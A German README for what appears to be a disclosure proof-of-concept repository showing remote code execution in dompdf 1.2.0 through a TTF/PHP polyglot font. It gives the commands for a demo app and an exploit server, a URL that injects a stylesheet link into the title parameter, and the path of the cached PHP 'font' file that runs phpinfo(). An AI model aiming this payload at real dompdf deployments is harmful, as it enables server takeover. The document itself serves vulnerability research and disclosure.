RCE-Exploit für dompdf

Dieses Repository enthält eine verwundbare Demo-Anwendung, die dompdf 1.2.0 verwendet, und einen Exploit, der Remote-Code-Ausführung über eine ttf+php-Polyglot-Datei erreicht.

Für weitere Details siehe https://positive.security/blog/dompdf-rce

Anleitung

1. Starte die Demo-Anwendung

$ cd application
$ php -S localhost:9000

2. Starte den Exploit-Server

$ cd exploit
$ php -S localhost:9001

3. Löse den Exploit aus

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

4. Greife auf die gecachte PHP-"Font"-Datei zu und führe phpinfo() aus

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

Bitte beachte: Falls du andere Domains oder Ports verwendest, bearbeite entsprechend und prüfe in den vollständigen Font-Dateinamen.